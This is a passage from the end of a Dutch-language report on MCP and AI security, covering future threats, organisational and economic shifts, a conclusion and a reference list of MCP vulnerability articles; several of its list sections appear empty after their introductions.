Biological computing interfacing: Klinkt Sci-Fi, maar er is onderzoek naar DNA-computing en brain-computer interfaces. Over 10+ jaar kunnen we begin zien van biologische data direct door AI verwerkt. Dit opent bizarre security dimensies:

Cognitive security & AI-driven social engineering: In 10 jaar is AI zo geavanceerd dat social engineering op schaal kan: hyperpersoonlijke phishingberichten perfect opgesteld door AI, deepfake video’s realtime. De mens is zwakste schakel en AI zal die nog zwakker maken door overtuigender aanvallen.

Veel van deze evoluties vragen om lange termijn investeringen in R&D en adaptieve strategie. Het is aan CISO/CTO om horizon scanning te doen en innovaties (samen met academici) te verkennen zodat de organisatie niet voor verrassingen komt te staan.

Organisationeel & economisch

Security as a Service evolutie: Beveiliging van AI/MCP kan complex zijn voor individu organisaties. We kunnen opkomst zien van gespecialiseerde managed security services gericht op AI.

Verzekeringsmarkt veranderingen: Cyberverzekeringen worstelen met accumulatie risico (één event -> veel claims). Met AI-risico’s erbij wordt dat erger (een supply chain exploit kan duizenden bedrijven raken tegelijk).

Skill development en educatie: Er is nu al tekort aan cloud security mensen, laat staan AI security specialisten. Organisaties en overheid moeten investeren in opleidingen:

Economisch modeling van security investeringen: Traditioneel was ROI van security lastig (cost of avoidance). Met AI kan men misschien modelleren:

Alles bij elkaar AI verandert niet alleen techniek maar hele bedrijfsvoering en marktdynamiek. Security moet mee transformeren van reactive cost center naar strategische enabler: zorg dat organisatie veilig van AI kan profiteren waar concurrent dat niet durft wegens risico. Dan wordt security een competitief voordeel.

Architectuur principes voor veilige AI/MCP

Afsluitend presenteren we kernprincipes die gedurende dit hele rapport impliciet naar voren kwamen. Deze principes fungeren als leidraad bij ontwerpbeslissingen en governance rondom MCP:

Door trouw te blijven aan deze principes, creëert men een AI/MCP-architectuur die niet alleen vandaag veilig is, maar ook adaptief en robuust blijft bij komende uitdagingen.

Conclusie: Het MCP-ecosysteem biedt enorme kansen maar komt met evenredige risico’s. Door strategische visie (niveau 1), rigoureuze technische implementatie (niveau 2) en vooruitziende planning (niveau 3) te combineren, kunnen Nederlandse organisaties AI inzetten verantwoord, veilig en conform waarden en wetten. Dit rapport heeft de contouren geschetst van zo’n 360° aanpak – aan de lezer de taak om deze kennis in daden om te zetten. De beloning is niet alleen het voorkomen van incidenten, maar ook het winnen van vertrouwen bij klanten, burgers en toezichthouders in een tijdperk waarin dat meer dan goud waard is.

Bronnen: Deze analyse bouwt voort op kwetsbaarheidsrapporten[40][19], security blogs[10][94], onderzoeksartikelen en frameworks (NIST, OWASP)[78][105], evenals beleidsdocumenten. Alle specifieke feiten, cijfers en voorbeelden zijn voorzien van referenties.

[1] [3] [4] [7] [10] [20] [21] [23] [26] [31] [84] MCP Horror Stories: The Supply Chain Attack | Docke

[2] [5] [6] MCP Security Issues Threatening AI Infrastructure | Docker

[8] [9] [11] [12] [13] [22] [57] [69] [100] Critical mcp-remote Vulnerability Enables Remote Code Execution, Impacting 437,000+ Downloads

https://thehackernews.com/2025/07/critical-mcp-remote-vulnerability.html

[14] [15] [55] [70] [71] [78] [79] [80] [101] [102] The Security Risks of Model Context Protocol (MCP)

https://www.pillar.security/blog/the-security-risks-of-model-context-protocol-mcp

[16] [17] [18] [19] [24] [25] [27] [36] [37] [38] [39] [40] [41] [42] [43] [44] [45] [46] [47] [48] [49] [50] [51] [52] [53] [58] [59] [62] [63] [83] CVE-2025-6514 Threatens LLM clients

[28] [29] [32] [33] [34] [35] [56] [64] [65] [66] [67] [68] [94] [97] [98] Threat Research: Hundreds of MCP Servers Vulnerable to Abuse – Backslash

https://www.backslash.security/blog/hundreds-of-mcp-servers-vulnerable-to-abuse

[30] MCP is a powerful new AI coding technology: Understand the risks

https://www.reversinglabs.com/blog/mcp-powerful-ai-coding-risk

[54] [60] [61] [103] [104] CVE-2025-6514: mcp-remote OS Command Injection Vulnerability 

https://vulert.com/vuln-db/CVE-2025-6514

[72] [73] [74] [75] [76] [77] [81] [82] Authorization – Model Context Protocol

https://modelcontextprotocol.io/specification/draft/basic/authorization

[85] [86] [87] [88] [89] [90] [91] [92] [93] Kubernetes Security Best Practices Part 3: Security Context

https://www.dynatrace.com/news/blog/kubernetes-security-best-practices-security-context

[95] About pod security standards and warnings

https://learn.redhat.com/t5/DO280-Red-Hat-OpenShift/About-pod-security-standards-and-warnings/td-p/32502

[96] How allowPrivilegeEscalation works in Kubernetes | by Nick Gibbon

https://medium.com/pareture/how-allowprivilegeescalation-works-in-kubernetes-ce696494f87b

[99] Understanding the threat landscape for MCP and AI workflows

https://redcanary.com/blog/threat-detection/mcp-ai-workflows

[105] Top 10 MCP Security Risks You Need to Know – Prompt Security

https://www.prompt.security/blog/top-10-mcp-security-risks

DjimIT Nieuwsbrief

AI updates, praktijkcases en tool reviews — tweewekelijks, direct in uw inbox.

Gerelateerde artikelen

AI Security

AI-Orchestrated Cyber-Espionage Campaigns

AI Security

Navigating the Zero Trust paradox against advanced cloud threats

AI Security

The agentic threat.